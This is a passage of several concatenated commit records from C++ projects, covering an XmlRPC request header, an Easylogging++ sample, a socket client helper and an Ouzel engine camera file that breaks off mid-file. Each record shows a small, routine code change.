REQUEST_ID_TRANSPORT_HUMAN                    = 33;\nunsigned short int const REQUEST_ID_TRANSPORT_RESOURCE                 = 34;\n\n\/**\n * @brief A request class.\n *\/\nclass Request\n    : public Common::Message\n{\npublic:\n    \/**\n     * @brief Constructs the request.\n     *\/\n    Request();\n\n    \/**\n     * @brief Constructs the request.\n     *\n     * @param a_content A content of the request.\n     *\/\n    explicit Request(\n        std::string const & a_content\n    );\n\n    \/**\n     * @brief Constructs the request.\n     *\n     * @param a_message_wrapper A message wrapper.\n     *\/\n    explicit Request(\n        Network::XmlRPCCommon::Common::MessageWrapperShrPtr a_message_wrapper\n    );\n\n    \/**\n     * @brief Gets the identifier of the request.\n     *\n     * @return The identifier of the request.\n     *\n     * @throws InvalidRequestShrPtr When any of the following:\n     *           - the \"request\" tag does not exist,\n     *           - the \"request\" tag does not have the \"id\" attribute,\n     *           - the \"id\" attribute is not an integer,\n     *           - the value of the \"id\" attribute is negative\n     *         is true.\n     *\/\n    unsigned short int const getIdRequest() const;\n\n    \/**\n     * @brief Gets the value of the identifier of the user.\n     *\n     * @return The value of the identifier of the user.\n     *\n     * @throws InvalidRequestShrPtr When the value of the identifier of the user cannot be determined.\n     *\/\n    unsigned int getIDUserValue() const;\n\n    \/**\n     * @brief Gets the value of the password of the user.\n     *\n     * @return The value of the password of the user.\n     *\n     * @throws InvalidRequestShrPtr When the value of the password of the user cannot be determined.\n     *\/\n    std::string getPasswordValue() const;\n\n    \/**\n     * @brief Gets the value of the unsigned integer parameter by name.\n     *\n     * @param a_name The name of the parameter.\n     *\n     * @return The value of the unsigned integer parameter.\n     *\n     * @throws InvalidRequestShrPtr When any of the following:\n     *           - the parameter does not exist,\n     *           - the parameter is not declared as an unsigned integer,\n     *           - the parameter does not have a value,\n     *           - the parameter is declared as an unsigned integer and its value's type is not an unsigned integer,\n     *           - the value is negative\n     *         is true.\n     *\/\n    unsigned int const getParameterValueUnsignedInteger(\n        std::string const & a_name\n    ) const;\n\n    \/**\n     * @brief Gets the value of the string parameter by name.\n     *\n     * @param a_name The name of the parameter.\n     *\n     * @return The value of the string parameter.\n     *\n     * @throws InvalidRequestShrPtr When any of the following:\n     *           - the parameter does not exist,\n     *           - the parameter is not declared as an string,\n     *           - the parameter does not have a value\n     *         is true.\n     *\/\n    std::string const getParameterValueString(\n        std::string const & a_name\n    ) const;\n\nprivate:\n    \/**\n     * @brief Verifies if parameter of given name exists.\n     *\n     * @param a_name The name of the parameter.\n     *\n     * @return A node representing the parameter.\n     *\n     * @throws InvalidRequestShrPtr If the parameter does not exist.\n     *\/\n    Xml::IXmlNodeShrPtr verifyIfParameterExists(\n        std::string const & a_name\n    ) const;\n\n    \/**\n     * @brief Verifies if parameter has a \"value\" attribute.\n     *\n     * @param a_parameter A node representing the parameter.\n     *\n     * @return The \"value\" attribute.\n     *\n     * @throws InvalidRequestShrPtr If the parameter does not have the \"value\" attribute.\n     *\/\n    Xml::IXmlAttributeShrPtr verifyIfParameterHasAValueAtribute(\n        Xml::IXmlNodeShrPtr a_parameter\n    ) const;\n\n    \/**\n     * @brief Sets the xml document basing on string.\n     *\n     * @param a_string A string representation of the xml document.\n     *\/\n    void setXmlDocument(\n        std::string const & a_string\n    );\n};\n\n\/**\n * @brief A shared pointer of request.\n *\/\ntypedef boost::shared_ptr<Request> RequestShrPtr;\n\n} \/\/ namespace Request\n} \/\/ namespace XmlRPCCommon\n} \/\/ namespace Network\n\n#endif \/\/ NETWORK_XMLRPCCOMMON_REQUEST_REQUEST_HPP\n<commit_msg>Fix: Missing declaration added.<commit_after>\/\/ Copyright (C) 2010 and 2011 Marcin Arkadiusz Skrobiranda.\n\/\/ All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions\n\/\/ are met:\n\/\/ 1. Redistributions of source code must retain the above copyright\n\/\/    notice, this list of conditions and the following disclaimer.\n\/\/ 2. Redistributions in binary form must reproduce the above copyright\n\/\/    notice, this list of conditions and the following disclaimer in the\n\/\/    documentation and\/or other materials provided with the distribution.\n\/\/ 3. Neither the name of the project nor the names of its contributors\n\/\/    may be used to endorse or promote products derived from this software\n\/\/    without specific prior written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE PROJECT AND CONTRIBUTORS \"AS IS\" AND\n\/\/ ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n\/\/ IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n\/\/ ARE DISCLAIMED. IN NO EVENT SHALL THE PROJECT OR CONTRIBUTORS BE LIABLE\n\/\/ FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n\/\/ DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n\/\/ OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n\/\/ HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n\/\/ LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n\/\/ OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n\/\/ SUCH DAMAGE.\n\n#ifndef NETWORK_XMLRPCCOMMON_REQUEST_REQUEST_HPP\n#define NETWORK_XMLRPCCOMMON_REQUEST_REQUEST_HPP\n\n#include \"..\/Common\/Message.hpp\"\n\n#include \"InvalidRequest.hpp\"\n\nnamespace Network\n{\nnamespace XmlRPCCommon\n{\nnamespace Request\n{\n\n\/**\n * @brief The identifiers of the requests.\n *\/\nunsigned short int const REQUEST_ID_ECHO                               =  1;\nunsigned short int const REQUEST_ID_ERROR                              =  2;\n\nunsigned short int const REQUEST_ID_CREATE_LAND                        =  3;\nunsigned short int const REQUEST_ID_DELETE_LAND                        =  4;\nunsigned short int const REQUEST_ID_GET_LAND_BY_ID_LAND                =  5;\nunsigned short int const REQUEST_ID_GET_LAND_BY_NAME                   =  6;\nunsigned short int const REQUEST_ID_GET_LANDS_BY_ID_WORLD              =  7;\n\nunsigned short int const REQUEST_ID_CREATE_SETTLEMENT                  =  8;\nunsigned short int const REQUEST_ID_DELETE_SETTLEMENT                  =  9;\nunsigned short int const REQUEST_ID_GET_SETTLEMENT_BY_ID_LAND_AND_NAME =  0;\nunsigned short int const REQUEST_ID_GET_SETTLEMENT_BY_ID_SETTLEMENT    = 11;\nunsigned short int const REQUEST_ID_GET_SETTLEMENTS_BY_ID_LAND         = 12;\n\nunsigned short int const REQUEST_ID_BUILD_BUILDING                     = 13;\nunsigned short int const REQUEST_ID_DESTROY_BUILDING                   = 14;\nunsigned short int const REQUEST_ID_GET_BUILDING                       = 15;\nunsigned short int const REQUEST_ID_GET_BUILDINGS                      = 16;\n\nunsigned short int const REQUEST_ID_DISMISS_HUMAN                      = 17;\nunsigned short int const REQUEST_ID_ENGAGE_HUMAN                       = 18;\nunsigned short int const REQUEST_ID_GET_HUMAN                          = 19;\nunsigned short int const REQUEST_ID_GET_HUMANS                         = 20;\n\nunsigned short int const REQUEST_ID_GET_RESOURCE                       = 21;\nunsigned short int const REQUEST_ID_GET_RESOURCES                      = 22;\n\nunsigned short int const REQUEST_ID_CREATE_USER                        = 23;\n\nunsigned short int const REQUEST_ID_CREATE_WORLD                       = 24;\n\nunsigned short int const REQUEST_ID_TURN                               = 25;\n\nunsigned short int const REQUEST_ID_CREATE_EPOCH                       = 26;\nunsigned short int const REQUEST_ID_DELETE_EPOCH                       = 27;\nunsigned short int const REQUEST_ID_ACTIVATE_EPOCH                     = 28;\nunsigned short int const REQUEST_ID_DEACTIVATE_EPOCH                   = 29;\nunsigned short int const REQUEST_ID_FINISH_EPOCH                       = 30;\nunsigned short int const REQUEST_ID_TICK_EPOCH                         = 31;\nunsigned short int const REQUEST_ID_GET_EPOCH                          = 32;\n\nunsigned short int const REQUEST_ID_TRANSPORT_HUMAN                    = 33;\nunsigned short int const REQUEST_ID_TRANSPORT_RESOURCE                 = 34;\n\n\/**\n * @brief A request class.\n *\/\nclass Request\n    : public Common::Message\n{\npublic:\n    \/**\n     * @brief Constructs the request.\n     *\/\n    Request();\n\n    \/**\n     * @brief Constructs the request.\n     *\n     * @param a_content A content of the request.\n     *\/\n    explicit Request(\n        std::string const & a_content\n    );\n\n    \/**\n     * @brief Constructs the request.\n     *\n     * @param a_message_wrapper A message wrapper.\n     *\/\n    explicit Request(\n        Network::XmlRPCCommon::Common::MessageWrapperShrPtr a_message_wrapper\n    );\n\n    \/**\n     * @brief Gets the identifier of the request.\n     *\n     * @return The identifier of the request.\n     *\n     * @throws InvalidRequestShrPtr When any of the following:\n     *           - the \"request\" tag does not exist,\n     *           - the \"request\" tag does not have the \"id\" attribute,\n     *           - the \"id\" attribute is not an integer,\n     *           - the value of the \"id\" attribute is negative\n     *         is true.\n     *\/\n    unsigned short int const getIdRequest() const;\n\n    \/**\n     * @brief Gets the value of the identifier of the user.\n     *\n     * @return The value of the identifier of the user.\n     *\n     * @throws InvalidRequestShrPtr When the value of the identifier of the user cannot be determined.\n     *\/\n    unsigned int getIDUserValue() const;\n\n    \/**\n     * @brief Gets the value of the password of the user.\n     *\n     * @return The value of the password of the user.\n     *\n     * @throws InvalidRequestShrPtr When the value of the password of the user cannot be determined.\n     *\/\n    std::string getPasswordValue() const;\n\n    \/**\n     * @brief Gets the value of the login of the user.\n     *\n     * @return The value of the login of the user.\n     *\n     * @throws InvalidRequestShrPtr When the value of the login of the user cannot be determined.\n     *\/\n    std::string getLoginValue() const;\n\n    \/**\n     * @brief Gets the value of the unsigned integer parameter by name.\n     *\n     * @param a_name The name of the parameter.\n     *\n     * @return The value of the unsigned integer parameter.\n     *\n     * @throws InvalidRequestShrPtr When any of the following:\n     *           - the parameter does not exist,\n     *           - the parameter is not declared as an unsigned integer,\n     *           - the parameter does not have a value,\n     *           - the parameter is declared as an unsigned integer and its value's type is not an unsigned integer,\n     *           - the value is negative\n     *         is true.\n     *\/\n    unsigned int const getParameterValueUnsignedInteger(\n        std::string const & a_name\n    ) const;\n\n    \/**\n     * @brief Gets the value of the string parameter by name.\n     *\n     * @param a_name The name of the parameter.\n     *\n     * @return The value of the string parameter.\n     *\n     * @throws InvalidRequestShrPtr When any of the following:\n     *           - the parameter does not exist,\n     *           - the parameter is not declared as an string,\n     *           - the parameter does not have a value\n     *         is true.\n     *\/\n    std::string const getParameterValueString(\n        std::string const & a_name\n    ) const;\n\nprivate:\n    \/**\n     * @brief Verifies if parameter of given name exists.\n     *\n     * @param a_name The name of the parameter.\n     *\n     * @return A node representing the parameter.\n     *\n     * @throws InvalidRequestShrPtr If the parameter does not exist.\n     *\/\n    Xml::IXmlNodeShrPtr verifyIfParameterExists(\n        std::string const & a_name\n    ) const;\n\n    \/**\n     * @brief Verifies if parameter has a \"value\" attribute.\n     *\n     * @param a_parameter A node representing the parameter.\n     *\n     * @return The \"value\" attribute.\n     *\n     * @throws InvalidRequestShrPtr If the parameter does not have the \"value\" attribute.\n     *\/\n    Xml::IXmlAttributeShrPtr verifyIfParameterHasAValueAtribute(\n        Xml::IXmlNodeShrPtr a_parameter\n    ) const;\n\n    \/**\n     * @brief Sets the xml document basing on string.\n     *\n     * @param a_string A string representation of the xml document.\n     *\/\n    void setXmlDocument(\n        std::string const & a_string\n    );\n};\n\n\/**\n * @brief A shared pointer of request.\n *\/\ntypedef boost::shared_ptr<Request> RequestShrPtr;\n\n} \/\/ namespace Request\n} \/\/ namespace XmlRPCCommon\n} \/\/ namespace Network\n\n#endif \/\/ NETWORK_XMLRPCCOMMON_REQUEST_REQUEST_HPP\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>readded post generation edge clipping<commit_after><|endoftext|>"}
{"text":"<commit_before> \/\/\n \/\/ This file is part of Easylogging++ samples\n \/\/ MAKE_LOGGABLE sample\n \/\/\n \/\/ Feature since: v9.12\n \/\/ Revision 1.0\n \/\/ @author mkhan3189\n \/\/\n\n#include \"easylogging++.h\"\n\n_INITIALIZE_EASYLOGGINGPP\n\nclass Integer {\npublic:\n    Integer(int i) : m_underlyingInt(i) {}\n    Integer& operator=(const Integer& integer) { m_underlyingInt = integer.m_underlyingInt; return *this; }\n    virtual ~Integer(void) { m_underlyingInt = -1; }\n    int getInt(void) const { return m_underlyingInt; }\nprivate:\n    int m_underlyingInt;\n};\n\n\/\/ Lets say Integer class is in some third party library\n\n\/\/ We use MAKE_LOGGABLE(class, instance, outputStream) to make it loggable\ninline MAKE_LOGGABLE(Integer, integer, os) {\n    os << integer.getInt();\n    return os;\n}\n\n\nint main(void) {\n    \n    Integer count = 5;\n    LOG(INFO) << count;\n    return 0;\n}\n<commit_msg>reverse from Integer to int in sample<commit_after> \/\/\n \/\/ This file is part of Easylogging++ samples\n \/\/ MAKE_LOGGABLE sample\n \/\/\n \/\/ Feature since: v9.12\n \/\/ Revision 1.0\n \/\/ @author mkhan3189\n \/\/\n\n#include \"easylogging++.h\"\n\n_INITIALIZE_EASYLOGGINGPP\n\nclass Integer {\npublic:\n    Integer(int i) : m_underlyingInt(i) {}\n    Integer& operator=(const Integer& integer) { m_underlyingInt = integer.m_underlyingInt; return *this; }\n    virtual ~Integer(void) { m_underlyingInt = -1; }\n    int getInt(void) const { return m_underlyingInt; }\n    inline operator int() const { return m_underlyingInt; }\nprivate:\n    int m_underlyingInt;\n};\n\n\/\/ Lets say Integer class is in some third party library\n\n\/\/ We use MAKE_LOGGABLE(class, instance, outputStream) to make it loggable\ninline MAKE_LOGGABLE(Integer, integer, os) {\n    os << integer.getInt();\n    return os;\n}\n\n\nint main(void) {\n    \n    Integer count = 5;\n    LOG(INFO) << \"Integer count = \" << count;\n    int reverse = count;\n    LOG(INFO) << \"int reverse = \" << reverse;\n    return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"ClientHelper.hpp\"\n\nnamespace Network {\n\nSocketClientHelper::SocketClientHelper(const std::shared_ptr<Network::ABasicSocket>& sock, size_t readSize)\n  : _readSize(readSize), _connected(true), _disconnectWhenAllWrited(false), _socket(sock)\n{\n  _socket->setReadeableCallback(std::bind(&SocketClientHelper::onReadeable, this));\n  _socket->setWritableCallback(std::bind(&SocketClientHelper::onWritable, this));\n  _socket->setPollUpdateCallback(std::bind(&SocketClientHelper::onPollUpdate, this));\n  _socket->setEventRequest(Network::ASocket::Event::READ);\n}\n\nSocketClientHelper::SocketClientHelper(size_t readSize)\n  : _readSize(readSize), _connected(false), _socket(nullptr)\n{\n\n}\n\nvoid SocketClientHelper::setSocket(const std::shared_ptr<Network::ABasicSocket>& sock)\n{\n  _socket = sock;\n  _socket->setReadeableCallback(std::bind(&SocketClientHelper::onReadeable, this));\n  _socket->setWritableCallback(std::bind(&SocketClientHelper::onWritable, this));\n  _socket->setPollUpdateCallback(std::bind(&SocketClientHelper::onPollUpdate, this));\n  _socket->setEventRequest(Network::ASocket::Event::READ);\n  _connected = true;\n}\n\nvoid SocketClientHelper::onReadeable()\n{\n  Buffer buff;\n  size_t size = _readBuff.getLeftWrite();\n\n  if (_readSize > size)\n    size = _readSize;\n  try {\n      _socket->read(buff, size);\n      size = buff.size();\n      _readBuff.writeBuffer(buff);\n      onRead(size);\n      if (size == 0 && _socket->getSockType() == ASocket::SockType::TCP)\n        _connected = false;\n    }\n  catch (Network::Error& e)\n    {\n      _connected = false;\n    }\n  if (!_connected)\n    {\n      _socket->setEventRequest(Network::ASocket::Event::NONE);\n      _socket->closeSocket();\n      onDisconnet();\n    }\n}\n\nvoid SocketClientHelper::onWritable()\n{\n  size_t size = _writeBuff.getLeftRead();\n  size_t sizeWrite;\n  Buffer buff;\n\n  _writeBuff.readBuffer(buff, size);\n  try {\n      sizeWrite = _socket->write(buff);\n      _writeBuff.rollbackReadBuffer(size - sizeWrite);\n      onWrite(sizeWrite);\n      if (_disconnectWhenAllWrited && (sizeWrite == size))\n        _connected = false;\n    }\n  catch (Network::Error& e)\n    {\n      _connected = false;\n      _writeBuff.rollbackReadBuffer(size);\n    }\n  if (!_connected)\n    {\n      _socket->setEventRequest(Network::ASocket::Event::NONE);\n      _socket->closeSocket();\n      onDisconnet();\n    }\n}\n\nvoid SocketClientHelper::onPollUpdate()\n{\n  if (_writeBuff.getLeftRead() > 0)\n    _socket->setEventRequest(Network::ASocket::Event::RDWR);\n  else\n    _socket->setEventRequest(Network::ASocket::Event::READ);\n}\n\nIdentityClientHelper::IdentityClientHelper(const std::shared_ptr<Network::Identity>& id,\n    const std::weak_ptr<Network::AListenSocket>& listener)\n  : _listener(listener), _id(id)\n{\n  _id->onRead = std::bind(&IdentityClientHelper::readData, this, std::placeholders::_1);\n}\n\nvoid IdentityClientHelper::setId(const std::shared_ptr<Network::Identity>& id)\n{\n  _id = id;\n  _id->onRead = std::bind(&IdentityClientHelper::readData, this, std::placeholders::_1);\n}\n\nvoid IdentityClientHelper::readData(const Network::Buffer& data)\n{\n  _readBuff.writeBuffer(data);\n  onRead();\n  writeData();\n}\n\nvoid IdentityClientHelper::writeData()\n{\n  size_t size = _writeBuff.getLeftRead();\n  size_t sizeWrite;\n  Buffer buff;\n  std::shared_ptr<Network::AListenSocket> listener = _listener.lock();\n\n  if (!listener)\n    throw std::runtime_error(\"Can't lock listener.\");\n  _writeBuff.readBuffer(buff, size);\n  try {\n      sizeWrite = listener->sendTo(*(_id.get()), buff);\n      _writeBuff.rollbackReadBuffer(size - sizeWrite);\n    }\n  catch (Network::Error& e)\n    {\n      _writeBuff.rollbackReadBuffer(size);\n    }\n}\n\n};\n<commit_msg>check _disconnectWhenAllWrited in onREadeable<commit_after>#include \"ClientHelper.hpp\"\n\nnamespace Network {\n\nSocketClientHelper::SocketClientHelper(const std::shared_ptr<Network::ABasicSocket>& sock, size_t readSize)\n  : _readSize(readSize), _connected(true), _disconnectWhenAllWrited(false), _socket(sock)\n{\n  _socket->setReadeableCallback(std::bind(&SocketClientHelper::onReadeable, this));\n  _socket->setWritableCallback(std::bind(&SocketClientHelper::onWritable, this));\n  _socket->setPollUpdateCallback(std::bind(&SocketClientHelper::onPollUpdate, this));\n  _socket->setEventRequest(Network::ASocket::Event::READ);\n}\n\nSocketClientHelper::SocketClientHelper(size_t readSize)\n  : _readSize(readSize), _connected(false), _socket(nullptr)\n{\n\n}\n\nvoid SocketClientHelper::setSocket(const std::shared_ptr<Network::ABasicSocket>& sock)\n{\n  _socket = sock;\n  _socket->setReadeableCallback(std::bind(&SocketClientHelper::onReadeable, this));\n  _socket->setWritableCallback(std::bind(&SocketClientHelper::onWritable, this));\n  _socket->setPollUpdateCallback(std::bind(&SocketClientHelper::onPollUpdate, this));\n  _socket->setEventRequest(Network::ASocket::Event::READ);\n  _connected = true;\n}\n\nvoid SocketClientHelper::onReadeable()\n{\n  Buffer buff;\n  size_t size = _readBuff.getLeftWrite();\n\n  if (_readSize > size)\n    size = _readSize;\n  try {\n      _socket->read(buff, size);\n      size = buff.size();\n      _readBuff.writeBuffer(buff);\n      onRead(size);\n      if ((size == 0 && _socket->getSockType() == ASocket::SockType::TCP)\n          || (_disconnectWhenAllWrited && (_writeBuff.getLeftRead() == 0)))\n        _connected = false;\n    }\n  catch (Network::Error& e)\n    {\n      _connected = false;\n    }\n  if (!_connected)\n    {\n      _socket->setEventRequest(Network::ASocket::Event::NONE);\n      _socket->closeSocket();\n      onDisconnet();\n    }\n}\n\nvoid SocketClientHelper::onWritable()\n{\n  size_t size = _writeBuff.getLeftRead();\n  size_t sizeWrite;\n  Buffer buff;\n\n  _writeBuff.readBuffer(buff, size);\n  try {\n      sizeWrite = _socket->write(buff);\n      _writeBuff.rollbackReadBuffer(size - sizeWrite);\n      onWrite(sizeWrite);\n      if (_disconnectWhenAllWrited && (_writeBuff.getLeftRead() == 0))\n        _connected = false;\n    }\n  catch (Network::Error& e)\n    {\n      _connected = false;\n      _writeBuff.rollbackReadBuffer(size);\n    }\n  if (!_connected)\n    {\n      _socket->setEventRequest(Network::ASocket::Event::NONE);\n      _socket->closeSocket();\n      onDisconnet();\n    }\n}\n\nvoid SocketClientHelper::onPollUpdate()\n{\n  if (_writeBuff.getLeftRead() > 0)\n    _socket->setEventRequest(Network::ASocket::Event::RDWR);\n  else\n    _socket->setEventRequest(Network::ASocket::Event::READ);\n}\n\nIdentityClientHelper::IdentityClientHelper(const std::shared_ptr<Network::Identity>& id,\n    const std::weak_ptr<Network::AListenSocket>& listener)\n  : _listener(listener), _id(id)\n{\n  _id->onRead = std::bind(&IdentityClientHelper::readData, this, std::placeholders::_1);\n}\n\nvoid IdentityClientHelper::setId(const std::shared_ptr<Network::Identity>& id)\n{\n  _id = id;\n  _id->onRead = std::bind(&IdentityClientHelper::readData, this, std::placeholders::_1);\n}\n\nvoid IdentityClientHelper::readData(const Network::Buffer& data)\n{\n  _readBuff.writeBuffer(data);\n  onRead();\n  writeData();\n}\n\nvoid IdentityClientHelper::writeData()\n{\n  size_t size = _writeBuff.getLeftRead();\n  size_t sizeWrite;\n  Buffer buff;\n  std::shared_ptr<Network::AListenSocket> listener = _listener.lock();\n\n  if (!listener)\n    throw std::runtime_error(\"Can't lock listener.\");\n  _writeBuff.readBuffer(buff, size);\n  try {\n      sizeWrite = listener->sendTo(*(_id.get()), buff);\n      _writeBuff.rollbackReadBuffer(size - sizeWrite);\n    }\n  catch (Network::Error& e)\n    {\n      _writeBuff.rollbackReadBuffer(size);\n    }\n}\n\n};\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>fix compile error<commit_after><|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (C) 2016 Elviss Strazdins\n\/\/ This file is part of the Ouzel engine.\n\n#include <cassert>\n#include <algorithm>\n#include \"Camera.h\"\n#include \"core\/Engine.h\"\n#include \"graphics\/Renderer.h\"\n#include \"Layer.h\"\n#include \"graphics\/Texture.h\"\n#include \"graphics\/RenderTarget.h\"\n#include \"math\/Matrix4.h\"\n#include \"utils\/Utils.h\"\n\nnamespace ouzel\n{\n    namespace scene\n    {\n        Camera::Camera()\n        {\n        }\n\n        Camera::~Camera()\n        {\n        }\n\n        void Camera::recalculateProjection()\n        {\n            Size2 renderTargetSize = renderTarget ?\n                renderTarget->getTexture()->getSize() :\n                sharedEngine->getRenderer()->getSize();\n\n            renderViewport.x = renderTargetSize.width * viewport.x;\n            renderViewport.y = renderTargetSize.height * viewport.y;\n            renderViewport.width = renderTargetSize.width * viewport.width;\n            renderViewport.height = renderTargetSize.height * viewport.height;\n\n            assert(renderViewport.width > 0.0f && renderViewport.height > 0.0f);\n\n            if (targetContentSize.width > 0.0f && targetContentSize.height > 0.0f)\n            {\n                contentScale.x = renderViewport.width \/ targetContentSize.width;\n                contentScale.y = renderViewport.height \/ targetContentSize.height;\n                \n                switch (scaleMode)\n                {\n                    case ScaleMode::NONE:\n                    {\n                        break;\n                    }\n                    case ScaleMode::EXACT_FIT:\n                    {\n                        contentScale.x = 1.0f;\n                        contentScale.y = 1.0f;\n                        break;\n                    }\n                    case ScaleMode::NO_BORDER:\n                    {\n                        contentScale.x = contentScale.y = std::max(contentScale.x, contentScale.y);\n                        break;\n                    }\n                    case ScaleMode::SHOW_ALL:\n                    {\n                        contentScale.x = contentScale.y = std::min(contentScale.x, contentScale.y);\n                        break;\n                    }\n                }\n\n                contentSize = Size2(renderViewport.width \/ contentScale.x, renderViewport.height \/ contentScale.y);\n                contentPosition = Vector2((contentSize.width - targetContentSize.width) \/ 2.0f,\n                                          (contentSize.height - targetContentSize.height) \/ 2.0f);\n            }\n            else\n            {\n                contentSize = Size2(renderViewport.width, renderViewport.height);\n                contentScale = Vector2(1.0f, 1.0f);\n            }\n\n            Matrix4::createOrthographic(contentSize.width, contentSize.height, -1.0f, 1.0f, projection);\n\n            inverseProjection = projection;\n            inverseProjection.invert();\n\n            viewProjectionDirty = true;\n        }\n\n        const Matrix4& Camera::getViewProjection() const\n        {\n            if (viewProjectionDirty || transformDirty)\n            {\n                viewProjection = projection * getTransform();\n                viewProjectionDirty = false;\n            }\n\n            return viewProjection;\n        }\n\n        void Camera::calculateLocalTransform() const\n        {\n            Matrix4 translationMatrix = Matrix4::IDENTITY;\n            translationMatrix.translate(-position.x, -position.y, 0.0f);\n\n            Matrix4 rotationMatrix = Matrix4::IDENTITY;\n            rotationMatrix.rotate(Vector3(0.0f, 0.0f, -1.0f), -rotation);\n\n            Matrix4 scaleMatrix = Matrix4::IDENTITY;\n            Vector3 inverseScale(0.0f, 0.0f, 1.0f);\n            if (scale.x != 0.0f) inverseScale.x = 1.0f \/ scale.x;\n            if (scale.y != 0.0f) inverseScale.y = 1.0f \/ scale.y;\n            scaleMatrix.scale(inverseScale);\n\n            localTransform = scaleMatrix * rotationMatrix * translationMatrix;\n\n            localTransformDirty = false;\n        }\n\n        Vector2 Camera::convertNormalizedToWorld(const Vector2& position)\n        {\n            Matrix4 inverseViewMatrix = getViewProjection();\n            inverseViewMatrix.invert();\n\n            \/\/ convert window normalized to viewport clip position\n            Vector3 result = Vector3(((position.x - viewport.x) \/ viewport.width - 0.5f) * 2.0f,\n                                     ((position.y - viewport.y) \/ viewport.height - 0.5f) * 2.0f,\n                                     0.0f);\n\n            inverseViewMatrix.transformPoint(result);\n\n            return Vector2(result.x, result.y);\n        }\n\n        Vector2 Camera::convertWorldToNormalized(const Vector2& position)\n        {\n            Vector3 result = Vector3(position.x, position.y, 0.0f);\n            getViewProjection().transformPoint(result);\n\n            \/\/ convert viewport clip position to window normalized\n            return Vector2((result.x \/ 2.0f + 0.5f) * viewport.width + viewport.x,\n                           (result.y \/ 2.0f + 0.5f) * viewport.height + viewport.y);\n        }\n\n        bool Camera::checkVisibility(const Matrix4& boxTransform, const AABB2& boundingBox)\n        {\n            \/\/ transform center point to screen space\n            Vector2 diff = boundingBox.max - boundingBox.min;\n\n            Vector3 v3p(boundingBox.min.x + diff.x \/ 2.0f, boundingBox.min.y + diff.y \/ 2.0f, 0.0f);\n\n            boxTransform.transformPoint(v3p);\n\n            Vector4 clipPos;\n            getViewProjection().transformVector(Vector4(v3p.x, v3p.y, v3p.z, 1.0f), clipPos);\n\n            assert(clipPos.w != 0.0f);\n\n            Vector2 v2p((clipPos.x \/ clipPos.w + 1.0f) * 0.5f * renderViewport.width,\n                        (clipPos.y \/ clipPos.w + 1.0f) * 0.5f * renderViewport.height);\n\n            Size2 halfSize(diff.x \/ 2.0f, diff.y \/ 2.0f);\n\n            \/\/ convert content size to world coordinates\n            Size2 halfWorldSize;\n\n            halfWorldSize.width = std::max(fabsf(halfSize.width * boxTransform.m[0] + halfSize.height * boxTransform.m[4]),\n                                           fabsf(halfSize.width * boxTransform.m[0] - halfSize.height * boxTransform.m[4]));\n            halfWorldSize.height = std::max(fabsf(halfSize.width * boxTransform.m[1] + halfSize.height * boxTransform.m[5]),\n                                            fabsf(halfSize.width * boxTransform.m[1] - halfSize.height * boxTransform.m[5]));\n\n            \/\/ scale half size by camera scale\n            halfWorldSize.width *= transform.m[0] + fabsf(transform.m[4]);\n            halfWorldSize.height *= fabsf(transform.m[1]) + transform.m[5];\n\n            \/\/ enlarge visible rect half size in screen coord\n            Rectangle visibleRect(0.0f, 0.0f, renderViewport.width, renderViewport.height);\n\n            visibleRect.x -= halfWorldSize.width;\n            visibleRect.y -= halfWorldSize.height;\n            visibleRect.width += halfWorldSize.width * 2.0f;\n            visibleRect.height += halfWorldSize.height * 2.0f;\n            \n            return visibleRect.containsPoint(v2p);\n        }\n\n        void Camera::setViewport(const Rectangle& newViewport)\n        {\n            viewport = newViewport;\n            recalculateProjection();\n        }\n\n        void Camera::setScaleMode(ScaleMode newScaleMode)\n        {\n            scaleMode = newScaleMode;\n            recalculateProjection();\n        }\n\n        void Camera::setTargetContentSize(const Size2& newTargetContentSize)\n        {\n            targetContentSize = newTargetContentSize;\n            recalculateProjection();\n        }\n\n        void Camera::addToLayer(Layer* newLayer)\n        {\n            layer = newLayer;\n        }\n\n        void Camera::removeFromLayer()\n        {\n            layer = nullptr;\n        }\n\n        void Camera::setRenderTarget(const graphics::RenderTargetPtr& newRenderTarget)\n        {\n            renderTarget = newRenderTarget;\n\n            recalculateProjection();\n        }\n    } \/\/ namespace scene\n} \/\/ namespace ouzel\n<commit_msg>Remake visibility check to clip space and use view projection matrix<commit_after>\/\/ Copyright (C) 2016 Elviss Strazdins\n\/\/ This file is part of the Ouzel engine.\n\n#include <cassert>\n#include <algorithm>\n#include \"Camera.h\"\n#include \"core\/Engine.h\"\n#include \"graphics\/Renderer.h\"\n#include \"Layer.h\"\n#include \"graphics\/Texture.h\"\n#include \"graphics\/RenderTarget.h\"\n#include \"math\/Matrix4.h\"\n#include \"utils\/Utils.h\"\n\nnamespace ouzel\n{\n    namespace scene\n    {\n        Camera::Camera()\n        {\n        }\n\n        Camera::~Camera()\n        {\n        }\n\n        void Camera::recalculateProjection()\n        {\n            Size2 renderTargetSize = renderTarget ?\n                renderTarget->getTexture()->getSize() :\n                sharedEngine->getRenderer()->getSize();\n\n            renderViewport.x = renderTargetSize.width * viewport.x;\n            renderViewport.y = renderTargetSize.height * viewport.y;\n            renderViewport.width = renderTargetSize.width * viewport.width;\n            renderViewport.height = renderTargetSize.height * viewport.height;\n\n            assert(renderViewport.width > 0.0f && renderViewport.height > 0.0f);\n\n            if (targetContentSize.width > 0.0f && targetContentSize.height > 0.0f)\n            {\n                contentScale.x = renderViewport.width \/ targetContentSize.width;\n                contentScale.y = renderViewport.height \/ targetContentSize.height;\n                \n                switch (scaleMode)\n                {\n                    case ScaleMode::NONE:\n                    {\n                        break;\n                    }\n                  